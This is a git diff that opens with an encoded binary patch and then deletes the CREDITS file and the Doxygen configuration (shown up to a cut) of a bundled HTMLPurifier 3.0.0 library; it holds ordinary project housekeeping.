z;c!gV!O7yQKhO`(RNsv44uQw_TQur6aMMP7mv9G(xtpx_@6bvD|L+f2NgK&s!X5CV zjnr=OHkxr0y-h%uZ!@NSo898+*)6g8USeT(ecN$nTWq*_imdcaT$oLdDoe8)HdidU zxRsTaw*muf7gyTGjO`9GBeI(*n$W-@$hGSZPB+a6glIb`e1d$}h2KFNe`Wgop5J_9 z6knZWHp*z3-`IuDk=;S#Z#f6-z|uEvHk)trzvp0Z?3j#5Ao# zl{Wv0ZHVYb@$F;sA3EOtYt8L$Z3Zy;dXWEP!Hut1b{HPE=R|;g5o&F{Irv9y|6Y|% z)Qq~yCSXR8YctH$PWZ2Xcj&JFBXPSnf255YPgdlbgPVxClfzX4EM_xfMKD#{qAllc z5rX5jtk_qdoL!-Mw!B9O_QQxU9fb`A*izI>yOHb=dz%eQdUN-!|G#Pf|LpUBw`0mb z@8f^Y|0^ja@r(cSFG*Yczf1roz{au~u*v_s#r#XO#r#XS0w87&3dwAqp-YJ^xXV)I zCx=*q403yh1wi|nics!MzxaRubJL&I|DB*5f25C}t^Xw?f8hU?1pbQu`In?E{TC*> z2bf}C{Bd$#QC(~3vx3i4Nca?TW_B(qzbx}rC434I8WX#M$2WAgcJy>$ zFw^t%=(#x*7CSRLi^O0MI2?9iVRn8VGdG9EVo|fRGdSGb!U7hLUtU_m;c)Y7YpbiP z_?4B7?BXnX7&SAFn1-WKlSstaECzu=Pmg`-pZGk8m>eC44^EAbOpXoD&7yGg*!A`G zjhZVfD;tCS-N|fOF6k}HMVJ$S?8`|;OEZ3!kcL#JMmyPrj*Oe&=NEJOvYDv`*oa4R zT{Vx!v`-eewc3{rV@f=WQ@n5`s?)u*I^S>Vu_~2m>G&m%f?C@bJ?kAB^ zPoraEkAa9wIw*h<$8)VsdI4ft*31F|*jY`32nK((=j@+1UOs z01_%TwcNyNUkXM+!5tr&0W3u*`LCda$`T$MiK>m+k@0lHAeS z07fB`mXeq7`bXRv@tUvl#+suQ160|Bx7Z82jnSSDsCr$2U&O$h6SON|ui=;G5X0@2l^b^e8N~=QDYMOp4+U?=$Xy!nD1ej% z#6NnE$ku@0**YfF%P6?Nc{9bxM=dzL*QF}c#uSo4IC;x zo&gV*$4$aR6j=bDAAy)5pF`DnGe19;V&SR^(@_-|3)crj>LbouWsW^DcAny4)iM+q zk23Uxj6bzW&m51wdQW{k#vo5%BKBqv#G1vvCX+AR1vfR3;BEeNBHoS6b}}h|m!&H4 z-s{ZClt-!$cvGOk0#j*GR)XYd5pOf6o+bLTkUfjj5}3}+PzBp&o=u;ghIzkenhwkD zv4zFvwYec)l)F6@f>n?S*|Ar)*&<&y@WPOJEm8jKr5MnRDhs1+C_&AX# zwY}>{!J0cupEOQnO2Z$~&A5IJH&VDg7A17&_INCH#qEj2fz{iSsm1bcQyF0%ZqwNg zvja4^f0iV2v`%DR=hdZhqUFMFi8o;|_>Wbw&W*hi&R zTj;aSS;KvFL9Z>2+!tM6`W)%7zT9*?V|@i#j9$lM$cg?N*E#>v`v0r*_CN3A=j;C; z&i{^!N&R~M{}t(vt^Zkf*8emeB*<1bEQcd2e`s%D`gD`vp8rOz`2Umstp0z?LGZIa zexm=!jvYVtz5Yvx9si~Oe?{8Te=YzQAb(T&^YioZczjP!&*yOiHS_DVZeg`FVh4%IsU(L}txI zRW%-v~Y?l3AzL?BZZd46EHxvtt{ zn}&1o3@L(kS2cM>1g4Y3M9B9#M_mI1GYgO($Y4l4)BNUUhH-1{sDF*F<-NAj9A!x06fKn53J2Kte#tL&7Ae zfDFSZYnd6#0(54aS=T}>W`iQ-BJR2~y35Yajxy@X4r5WZmaDVYZtXpfd+#~-JZ>jA z?p95j0+PPx|IdH^^Pm6x=W+kKbrdeRJgFq3HR6=l=V|Z@+jyJ14WR z|ACC&{s$lE`EK97M-Co3{OIak-G!zYpg-ni6ksu0miw3O z1EJw#)1Uj)vEbF?YaK`L2w(bR{Pb{tW@Tn;M%En*ADH1(VLd0jgtn> z*{{wnSoVZ^ZvXI;p$knHs)s{&p5L}Se9Q3CTjzH>rzN{)_fB&pi}&{r4eXv)@W`x( z%ID`f+t=qix8Fg?^99tmpVdo!(Uu{@^Y8!g@;-PbC$eRG;nEi?6!;3 z&%T{onY({(lw+ zRUf=}_2HuVYJX4lhMw?arGNe0*+mNzy;q)i?eav|vn%=zuQ_`#|Jc!y%Woae-EFJ1`r`gg-rEk8om=yVm*-B%|M1t@XFG~Z4xFqm`24pYZ`|%r=4B>2rgm*9ZJ0Ok zz_gr}`TJ%RI3C^|Kj<$c9mfrLsI(kBS-bRf=<2t-f8AKp)zJFHl{H1Brxw>uT6Aq` z%laROu1sn3pS!l`H=kz>)r~w|?W!2Ka?|pgo;-f%@*@*NbJiEM)Ga+T>qOs_SO2!} zXlC~BV@FeoTPAIL{p3Gy%h|YXPJV7vaL%OMHFGI%;m~RZ17(Z*spQ@>pFi<~>2J99 z#+*OzpY@}ItuNfw9;n~m{%+?_t}X6!1^V9q?3u!zzN6PZIz6S}=C`gTl%j&n<&8s+ z-CO=IZC7@=_rB*`%RJUru~zVdF0f^RubOW@&n#r&XBHO!3n2ro%@z zoZm8a_pi>De(+T6o(uhbzrV}z(TTy{10#o@pSrr@qy2lb_AgvA@paF!jI1NGW3HcE z%HOf&au^_ZAgQ`sI5U|7X*s{L=Hgw?1`KW>w=J_lB97nX49L_cSla>FJw2 zq33?JXV>b?ou%1Bh2vo>{EQ|3YlbMbUl#tG#~Tc|t^2>)599IQSMj-JiEFjmp~f-T zuzmo1eRn@Vp4I>RL*)NI=g6E)?343M6sE~}<~+(RUy zLkT<>EL%4PPQpv)s)Lx14(z>6ZBaX#85nRT86+qQ5KAiB6D=%uJ9-r9*r5PXbY?48 zx+(l9bmG4Z-av_^l4g0fF_=^@noeqI9oqsDlwoXvGMCx2Uy7j!xr@?Co6U_Y&5H!k5Rn04Q=03k z2%{%ld`oyS4i`X>5%zFlo>2PGg(%~YAY(WUw(h|xdE05Q5Q}(3{$4Baxn2@`R8)TS za9Yc(I;m*Z)77%vpl>E~qF!IFe@+w9sND_%hOme9J2{YkC;MUyGICbsX`W`jk!0>84LRiIM?bLV9cl4|1xlpvpaB%x;@Hh^{^MO%c1@sw6f-;XvXcMK*+rKSgekkwFV zq(Nqc(Kb%VRiRDiaZ8Fx8=1-xOCH)2;))y+*7?5Aw2V#g7s|q*fbnPy_#u^c1C~da+Jn-Hvk$xspttFBK<$3TjhiE8dbRh6!`&PSj>+_$_55 zy4&z#5sOhKS%wmQ%_D``2_b0=Cezekpiq@&HoZ5U^B!!rSO~SMlrX@?rnzy~yVwG) zRqKFfftw7k1;M0gF%wNDYyTG3)7&m9G>jOz4L;Unl@%29J?VdMp< zz)|lDs@^92iW4=l@R9lOnyo1wO(a^CNStNXhErWjk^Kx=TtuCCsQJl;qGqRCD@3`r zBKe5a44s!n*9=w;vkanG$$X?Sg>qHip|q>by59AM^QxdqvN0yvWxA^(^+&$;hJmoq z)NiXL_zS37y^aZi>8<;}W7+>tMbh8<2Os(Vf2A)-zW?D1 zX1KkTKL7apA79Bwn{>XR0;8eQCS(6?{*GP~HGWrUbat{Ni7TXyPx4VSNwqbunL6=> z1?vJzkfIr5eRJ20X1s^JSAt_wz?~9k zuoh$||Ek)RezHnrBr>pX9@b8MGz!jQ%vd16BGuGEbP0+2L7{J;nUyF-ZBef5)K=IX zN*jxtqdzeu;eh@S^R@ntrsgFBm6cX>E8+mbSSrXWL$BMKRpS{Jt@b>X9HcOvLrq&0 zY^(}U#{eZ-ccC9KDmgLv1=HVSGm^g}Y;~mz#EGoEz^+0MNjNY9w^O3OxE`rl3NS`Z z)RK(D_s}EpM3RV9QP4RCMs*6!hx1~tgca^X%DbB4k-eOZ)83V+ohfGLMJZAEwuIHe zxIgWCt8J};L%7BaX`~wEA-jnc1z#giD#=s=N_V}W*;N2En+oy++$A+N0a#p<1Xj_M z6h_TtAc?zygZ63?!5989`WZhc#UXWi1JI2(xjB2~UUCVLP|MMYu%-xn8q9+1nnLQk zBG$>rKw6R+I*nOc$xomP0PpDNL;p6Na{yk)aKZPuYBTqrp#QQmL!+ezV+XPO-omnY zZZ!4_8QfcAr-UX)6O@%2{L$CD#91W=GY=m~TBlbbEV|HGs2xQMwxeQJMFVJ$;V?_U z7eQ5$QIPqJ$TM->Xwn=gZDc%u5^!u(TOGJs0K_*VN_jyVxYl$tyun0JvQEWvxZAmsKs3=ghJh@~7&8GnD&Mo_J4A%*VLC*CiGv4tJKtvlDAq+1 z$raH~Rw(?yvX;?{TXz?jAQhK0*FRQ7QX>k3B3d0r8Zjmsv2G@&zCMU;N^vaSwq+|s z)@%gS&O(}F;O=yKHt6$E=eg#wheSX8&<+VkdojIp_K0^nH7QPbqO7S&MuZ=q#f|GVyO~y!+akoOMQ5BfR z3=d|6o=jSU!gZFT^N+%&rqeW3w+Im0a76?u?T&~J5O?wI=@&Iout~*BLO`Kk6-S_H zwu<9H`E8OHq+2BNxA^K1r!#R&C7nq{Vs;9qoiq~XPZ9n7AJeiou%fos z%Pf1-XUY{(2XybYUUAfqGy{ZX`1qDVm~oX-6|Q1dcS2-Ri%*e2k219q8*}{&y|f})$ay%M zQWBTJEou#n;Fp#&HB&LtxXAD@l07rsuNWGRt8FkmU8axpN_~;cg3Ur=LKh4V>#pi( zhBCQ1YdzTFY_PDiti}jAj|bi*_qqezCY}YJzO%x@bofo>&UChpbL; zTH`iNow#Ez5_O`_r@0VPfkP*=Cvof&r__|;+e1@W*J{h0c}JRv$t_$eN6Q5#GPkhtjgk$IhktZD^fc)fE`d>U z!CBSOrCo3VO#tT(XhrCad`x*{G%`qaKAmxLDFr0w(!kF{P z;;NX;EhYokxjRxZ0i~pw;Zz%Ve?o?b$tUbcwMz&?V!~~yL^86qt4$T6aQY31Kvqlu-I5vcfy+GDvNa z*-Homvhk+H5i%HS5tYd11Cm~hs~DwToBX8U+XB;9cQ!|xQtcAON-9TJ_+{Ymd^(W% zUy5lj@C@)(F}}q~##yV#Oe-Zs2t-+l2;4iy@)pQxyzYr5YLe|^x$1?X&4};NB0U8aSUpsJ>%UuN&G9Lj)-GX8_lt)MVPo> z(rjgiXxRE}G!|E5ZAz0cO0dyaLRI2TqD7$JMqO~<1HADn^7nq5W-})VOqeRsx8|xF zWR(YOn%=CLT2d}Uz(xU>g*M?!mj$*A;!%;s25dB_Ro$R$6|eXLc3RZv!@y&SR1mb$ zq9(djfS_Hdq0!3)uu);V8gD_?AToqtI#wt(r7F8Is5L@HAGGs&;BZ#jhLBA+B-M7! z4G8D{kWDY3o=7CMQPvz+gu7Fy!9or&I)*1Y!qM)hT0ZvoKgaU^?`W`J z!DsaNuRdSUH~#+bSMeFge;vnv9mjti$A2BifBo~se;xmff5t!KpYhM1=jVR`N0N5l H0Pp|+INL($ diff --git a/lib/htmlpurifier-3.0.0/CREDITS b/lib/htmlpurifier-3.0.0/CREDITS deleted file mode 100644 index c3e7bb8..0000000 --- a/lib/htmlpurifier-3.0.0/CREDITS +++ /dev/null @@ -1,7 +0,0 @@ - -CREDITS - -Almost everything written by Edward Z. Yang (Ambush Commander). Lots of thanks -to the DevNetwork Community for their help (see docs/ref-devnetwork.html for -more details), Feyd especially (namely IPv6 and optimization). Thanks to RSnake -for letting me package his fantastic XSS cheatsheet for a smoketest. diff --git a/lib/htmlpurifier-3.0.0/Doxyfile b/lib/htmlpurifier-3.0.0/Doxyfile deleted file mode 100644 index 20e0cd9..0000000 --- a/lib/htmlpurifier-3.0.0/Doxyfile +++ /dev/null @@ -1,1315 +0,0 @@ -# Doxyfile 1.5.3 - -# This file describes the settings to be used by the documentation system -# doxygen (www.doxygen.org) for a project -# -# All text after a hash (#) is considered a comment and will be ignored -# The format is: -# TAG = value [value, ...] -# For lists items can also be appended using: -# TAG += value [value, ...] -# Values that contain spaces should be placed between quotes (" ") - -#--------------------------------------------------------------------------- -# Project related configuration options -#--------------------------------------------------------------------------- - -# This tag specifies the encoding used for all characters in the config file that -# follow. The default is UTF-8 which is also the encoding used for all text before -# the first occurrence of this tag. Doxygen uses libiconv (or the iconv built into -# libc) for the transcoding. See http://www.gnu.org/software/libiconv for the list of -# possible encodings. - -DOXYFILE_ENCODING = UTF-8 - -# The PROJECT_NAME tag is a single word (or a sequence of words surrounded -# by quotes) that should identify the project. - -PROJECT_NAME = HTMLPurifier - -# The PROJECT_NUMBER tag can be used to enter a project or revision number. -# This could be handy for archiving the generated documentation or -# if some version control system is used. - -PROJECT_NUMBER = 3.0.0 - -# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) -# base path where the generated documentation will be put. -# If a relative path is entered, it will be relative to the location -# where doxygen was started. If left blank the current directory will be used. - -OUTPUT_DIRECTORY = "docs/doxygen " - -# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create -# 4096 sub-directories (in 2 levels) under the output directory of each output -# format and will distribute the generated files over these directories. -# Enabling this option can be useful when feeding doxygen a huge amount of -# source files, where putting all generated files in the same directory would -# otherwise cause performance problems for the file system. - -CREATE_SUBDIRS = NO - -# The OUTPUT_LANGUAGE tag is used to specify the language in which all -# documentation generated by doxygen is written. Doxygen will use this -# information to generate all constant output in the proper language. -# The default language is English, other supported languages are: -# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, -# Croatian, Czech, Danish, Dutch, Finnish, French, German, Greek, Hungarian, -# Italian, Japanese, Japanese-en (Japanese with English messages), Korean, -# Korean-en, Lithuanian, Norwegian, Polish, Portuguese, Romanian, Russian, -# Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian. - -OUTPUT_LANGUAGE = English - -# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will -# include brief member descriptions after the members that are listed in -# the file and class documentation (similar to JavaDoc). -# Set to NO to disable this. - -BRIEF_MEMBER_DESC = YES - -# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend -# the brief description of a member or function before the detailed description. -# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the -# brief descriptions will be completely suppressed. - -REPEAT_BRIEF = YES - -# This tag implements a quasi-intelligent brief description abbreviator -# that is used to form the text in various listings. Each string -# in this list, if found as the leading text of the brief description, will be -# stripped from the text and the result after processing the whole list, is -# used as the annotated text. Otherwise, the brief description is used as-is. -# If left blank, the following values are used ("$name" is automatically -# replaced with the name of the entity): "The $name class" "The $name widget" -# "The $name file" "is" "provides" "specifies" "contains" -# "represents" "a" "an" "the" - -ABBREVIATE_BRIEF = "The $name class " \ - "The $name widget " \ - "The $name file " \ - is \ - provides \ - specifies \ - contains \ - represents \ - a \ - an \ - the - -# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then -# Doxygen will generate a detailed section even if there is only a brief -# description. - -ALWAYS_DETAILED_SEC = NO - -# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all -# inherited members of a class in the documentation of that class as if those -# members were ordinary class members. Constructors, destructors and assignment -# operators of the base classes will not be shown. - -INLINE_INHERITED_MEMB = NO - -# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full -# path before files name in the file list and in the header files. If set -# to NO the shortest path that makes the file name unique will be used. - -FULL_PATH_NAMES = YES - -# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag -# can be used to strip a user-defined part of the path. Stripping is -# only done if one of the specified strings matches the left-hand part of -# the path. The tag can be used to show relative paths in the file list. -# If left blank the directory from which doxygen is run is used as the -# path to strip. - -STRIP_FROM_PATH = "C:/Users/Edward/Webs/htmlpurifier " \ - "C:/Documents and Settings/Edward/My Documents/My Webs/htmlpurifier " - -# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of -# the path mentioned in the documentation of a class, which tells -# the reader which header file to include in order to use a class. -# If left blank only the name of the header file containing the class -# definition is used. Otherwise one should specify the include paths that -# are normally passed to the compiler using the -I flag. - -STRIP_FROM_INC_PATH = - -# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter -# (but less readable) file names. This can be useful is your file systems -# doesn't support long names like on DOS, Mac, or CD-ROM. - -SHORT_NAMES = NO - -# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen -# will interpret the first line (until the first dot) of a JavaDoc-style -# comment as the brief description. If set to NO, the JavaDoc -# comments will behave just like regular Qt-style comments -# (thus requiring an explicit @brief command for a brief description.) - -JAVADOC_AUTOBRIEF = YES - -# If the QT_AUTOBRIEF tag is set to YES then Doxygen will -# interpret the first line (until the first dot) of a Qt-style -# comment as the brief description. If set to NO, the comments -# will behave just like regular Qt-style comments (thus requiring -# an explicit \brief command for a brief description.) - -QT_AUTOBRIEF = NO - -# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen -# treat a multi-line C++ special comment block (i.e. a block of //! or /// -# comments) as a brief description. This used to be the default behaviour. -# The new default is to treat a multi-line C++ comment block as a detailed -# description. Set this tag to YES if you prefer the old behaviour instead. - -MULTILINE_CPP_IS_BRIEF = NO - -# If the DETAILS_AT_TOP tag is set to YES then Doxygen -# will output the detailed description near the top, like JavaDoc. -# If set to NO, the detailed description appears after the member -# documentation. - -DETAILS_AT_TOP = NO - -# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented -# member inherits the documentation from any documented member that it -# re-implements. - -INHERIT_DOCS = YES - -# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce -# a new page for each member. If set to NO, the documentation of a member will -# be part of the file/class/namespace that contains it. - -SEPARATE_MEMBER_PAGES = NO - -# The TAB_SIZE tag can be used to set the number of spaces in a tab. -# Doxygen uses this value to replace tabs by spaces in code fragments. - -TAB_SIZE = 4 - -# This tag can be used to specify a number of aliases that acts -# as commands in the documentation. An alias has the form "name=value". -# For example adding "sideeffect=\par Side Effects:\n" will allow you to -# put the command \sideeffect (or @sideeffect) in the documentation, which -# will result in a user-defined paragraph with heading "Side Effects:". -# You can put \n's in the value part of an alias to insert newlines. - -ALIASES = - -# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C -# sources only. Doxygen will then generate output that is more tailored for C. -# For instance, some of the names that are used will be different. The list -# of all members will be omitted, etc. - -OPTIMIZE_OUTPUT_FOR_C = NO - -# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java -# sources only. Doxygen will then generate output that is more tailored for Java. -# For instance, namespaces will be presented as packages, qualified scopes -# will look different, etc. - -OPTIMIZE_OUTPUT_JAVA = NO - -# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to -# include (a tag file for) the STL sources as input, then you should -# set this tag to YES in order to let doxygen match functions declarations and -# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. -# func(std::string) {}). This also make the inheritance and collaboration -# diagrams that involve STL classes more complete and accurate. - -BUILTIN_STL_SUPPORT = NO - -# If you use Microsoft's C++/CLI language, you should set this option to YES to -# enable parsing support. - -CPP_CLI_SUPPORT = NO - -# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC -# tag is set to YES, then doxygen will reuse the documentation of the first -# member in the group (if any) for the other members of the group. By default -# all members of a group must be documented explicitly. - -DISTRIBUTE_GROUP_DOC = NO - -# Set the SUBGROUPING tag to YES (the default) to allow class member groups of -# the same type (for instance a group of public functions) to be put as a -# subgroup of that type (e.g. under the Public Functions section). Set it to -# NO to prevent subgrouping. Alternatively, this can be done per class using -# the \nosubgrouping command. - -SUBGROUPING = YES - -#--------------------------------------------------------------------------- -# Build related configuration options -#--------------------------------------------------------------------------- - -# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in -# documentation are documented, even if no documentation was available. -# Private class members and static file members will be hidden unless -# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES - -EXTRACT_ALL = YES - -# If the EXTRACT_PRIVATE tag is set to YES all private members of a class -# will be included in the documentation. - -EXTRACT_PRIVATE = YES - -# If the EXTRACT_STATIC tag is set to YES all static members of a file -# will be included in the documentation. - -EXTRACT_STATIC = YES - -# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) -# defined locally in source files will be included in the documentation. -# If set to NO only classes defined in header files are included. - -EXTRACT_LOCAL_CLASSES = YES - -# This flag is only useful for Objective-C code. When set to YES local -# methods, which are defined in the implementation section but not in -# the interface are included in the documentation. -# If set to NO (the default) only methods in the interface are included. - -EXTRACT_LOCAL_METHODS = NO - -# If this flag is set to YES, the members of anonymous namespaces will be extracted -# and appear in the documentation as a namespace called 'anonymous_namespace{file}', -# where file will be replaced with the base name of the file that contains the anonymous -# namespace. By default anonymous namespace are hidden. - -EXTRACT_ANON_NSPACES = NO - -# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all -# undocumented members of documented classes, files or namespaces. -# If set to NO (the default) these members will be included in the -# various overviews, but no documentation section is generated. -# This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_MEMBERS = NO - -# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all -# undocumented classes that are normally visible in the class hierarchy. -# If set to NO (the default) these classes will be included in the various -# overviews. This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_CLASSES = NO - -# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all -# friend (class|struct|union) declarations. -# If set to NO (the default) these declarations will be included in the -# documentation. - -HIDE_FRIEND_COMPOUNDS = NO - -# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any -# documentation blocks found inside the body of a function. -# If set to NO (the default) these blocks will be appended to the -# function's detailed documentation block. - -HIDE_IN_BODY_DOCS = NO - -# The INTERNAL_DOCS tag determines if documentation -# that is typed after a \internal command is included. If the tag is set -# to NO (the default) then the documentation will be excluded. -# Set it to YES to include the internal documentation. - -INTERNAL_DOCS = NO - -# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate -# file names in lower-case letters. If set to YES upper-case letters are also -# allowed. This is useful if you have classes or files whose names only differ -# in case and if your file system supports case sensitive file names. Windows -# and Mac users are advised to set this option to NO. - -CASE_SENSE_NAMES = YES - -# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen -# will show members with their full class and namespace scopes in the -# documentation. If set to YES the scope will be hidden. - -HIDE_SCOPE_NAMES = NO - -# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen -# will put a list of the files that are included by a file in the documentation -# of that file. - -SHOW_INCLUDE_FILES = YES - -# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] -# is inserted in the documentation for inline members. - -INLINE_INFO = YES - -# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen -# will sort the (detailed) documentation of file and class members -# alphabetically by member name. If set to NO the members will appear in -# declaration order. - -SORT_MEMBER_DOCS = YES - -# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the -# brief documentation of file, namespace and class members alphabetically -# by member name. If set to NO (the default) the members will appear in -# declaration order. - -SORT_BRIEF_DOCS = NO - -# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be -# sorted by fully-qualified names, including namespaces. If set to -# NO (the default), the class list will be sorted only by class name, -# not including the namespace part. -# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. -# Note: This option applies only to the class list, not to the -# alphabetical list. - -SORT_BY_SCOPE_NAME = NO - -# The GENERATE_TODOLIST tag can be used to enable (YES) or -# disable (NO) the todo list. This list is created by putting \todo -# commands in the documentation. - -GENERATE_TODOLIST = YES - -# The GENERATE_TESTLIST tag can be used to enable (YES) or -# disable (NO) the test list. This list is created by putting \test -# commands in the documentation. - -GENERATE_TESTLIST = YES - -# The GENERATE_BUGLIST tag can be used to enable (YES) or -# disable (NO) the bug list. This list is created by putting \bug -# commands in the documentation. - -GENERATE_BUGLIST = YES - -# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or -# disable (NO) the deprecated list. This list is created by putting -# \deprecated commands in the documentation. - -GENERATE_DEPRECATEDLIST= YES - -# The ENABLED_SECTIONS tag can be used to enable conditional -# documentation sections, marked by \if sectionname ... \endif. - -ENABLED_SECTIONS = - -# The MAX_INITIALIZER_LINES tag determines the maximum number of lines -# the initial value of a variable or define consists of for it to appear in -# the documentation. If the initializer consists of more lines than specified -# here it will be hidden. Use a value of 0 to hide initializers completely. -# The appearance of the initializer of individual variables and defines in the -# documentation can be controlled using \showinitializer or \hideinitializer -# command in the documentation regardless of this setting. - -MAX_INITIALIZER_LINES = 30 - -# Set the SHOW_USED_FILES tag to NO to disable the list of files generated -# at the bottom of the documentation of classes and structs. If set to YES the -# list will mention the files that were used to generate the documentation. - -SHOW_USED_FILES = YES - -# If the sources in your project are distributed over multiple directories -# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy -# in the documentation. The default is NO. - -SHOW_DIRECTORIES = NO - -# The FILE_VERSION_FILTER tag can be used to specify a program or script that -# doxygen should invoke to get the current version for each file (typically from the -# version control system). Doxygen will invoke the program by executing (via -# popen()) the command , where is the value of -# the FILE_VERSION_FILTER tag, and is the name of an input file -# provided by doxygen. Whatever the program writes to standard output -# is used as the file version. See the manual for examples. - -FILE_VERSION_FILTER = - -#--------------------------------------------------------------------------- -# configuration options related to warning and progress messages -#--------------------------------------------------------------------------- - -# The QUIET tag can be used to turn on/off the messages that are generated -# by doxygen. Possible values are YES and NO. If left blank NO is used. - -QUIET = NO - -# The WARNINGS tag can be used to turn on/off the warning messages that are -# generated by doxygen. Possible values are YES and NO. If left blank -# NO is used. - -WARNINGS = YES - -# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings -# for undocumented members. If EXTRACT_ALL is set to YES then this flag will -# automatically be disabled. - -WARN_IF_UNDOCUMENTED = YES - -# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for -# potential errors in the documentation, such as not documenting some -# parameters in a documented function, or documenting parameters that -# don't exist or using markup commands wrongly. - -WARN_IF_DOC_ERROR = YES - -# This WARN_NO_PARAMDOC option can be abled to get warnings for -# functions that are documented, but have no documentation for their parameters -# or return value. If set to NO (the default) doxygen will only warn about -# wrong or incomplete parameter documentation, but not about the absence of -# documentation. - -WARN_NO_PARAMDOC = NO - -# The WARN_FORMAT tag determines the format of the warning messages that -# doxygen can produce. The string should contain the $file, $line, and $text -# tags, which will be replaced by the file and line number from which the -# warning originated and the warning text. Optionally the format may contain -# $version, which will be replaced by the version of the file (if it could -# be obtained via FILE_VERSION_FILTER) - -WARN_FORMAT = "$file:$line: $text " - -# The WARN_LOGFILE tag can be used to specify a file to which warning -# and error messages should be written. If left blank the output is written -# to stderr. - -WARN_LOGFILE = - -#--------------------------------------------------------------------------- -# configuration options related to the input files -#--------------------------------------------------------------------------- - -# The INPUT tag can be used to specify the files and/or directories that contain -# documented source files. You may enter file names like "myfile.cpp" or -# directories like "/usr/src/myproject". Separate the files or directories -# with spaces. - -INPUT = ". " - -# This tag can be used to specify the character encoding of the source files that -# doxygen parses. Internally doxygen uses the UTF-8 encoding, which is also the default -# input encoding. Doxygen uses libiconv (or the iconv built into libc) for the transcoding. -# See http://www.gnu.org/software/libiconv for the list of possible encodings. - -INPUT_ENCODING = UTF-8 - -# If the value of the INPUT tag contains directories, you can use the -# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank the following patterns are tested: -# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx -# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py - -FILE_PATTERNS = *.php - -# The RECURSIVE tag can be used to turn specify whether or not subdirectories -# should be searched for input files as well. Possible values are YES and NO. -# If left blank NO is used. - -RECURSIVE = YES - -# The EXCLUDE tag can be used to specify files and/or directories that should -# excluded from the INPUT source files. This way you can easily exclude a -# subdirectory from a directory tree whose root is specified with the INPUT tag. - -EXCLUDE = - -# The EXCLUDE_SYMLINKS tag can be used select whether or not files or -# directories that are symbolic links (a Unix filesystem feature) are excluded -# from the input. - -EXCLUDE_SYMLINKS = NO - -# If the value of the INPUT tag contains directories, you can use the -# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude -# certain files from those directories. Note that the wildcards are matched -# against the file with absolute path, so to exclude all test directories -# for example use the pattern */test/* - -EXCLUDE_PATTERNS = */tests/* \ - */benchmarks/* \ - */docs/* \ - */test-settings.php \ - */configdoc/* \ - */test-settings.php \ - */maintenance/* \ - */smoketests/* \ - */library/standalone/* \ - */.svn* \ - */conf/* - -# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names -# (namespaces, classes, functions, etc.) that should be excluded from the output. -# The symbol name can be a fully qualified name, a word, or if the wildcard * is used, -# a substring. Examples: ANamespace, AClass, AClass::ANamespace, ANamespace::*Test - -EXCLUDE_SYMBOLS = - -# The EXAMPLE_PATH tag can be used to specify one or more files or -# directories that contain example code fragments that are included (see -# the \include command). - -EXAMPLE_PATH = - -# If the value of the EXAMPLE_PATH tag contains directories, you can use the -# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank all files are included. - -EXAMPLE_PATTERNS = * - -# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be -# searched for input files to be used with the \include or \dontinclude -# commands irrespective of the value of the RECURSIVE tag. -# Possible values are YES and NO. If left blank NO is used. - -EXAMPLE_RECURSIVE = NO - -# The IMAGE_PATH tag can be used to specify one or more files or -# directories that contain image that are included in the documentation (see -# the \image command). - -IMAGE_PATH = - -# The INPUT_FILTER tag can be used to specify a program that doxygen should -# invoke to filter for each input file. Doxygen will invoke the filter program -# by executing (via popen()) the command , where -# is the value of the INPUT_FILTER tag, and is the name of an -# input file. Doxygen will then use the output that the filter program writes -# to standard output. If 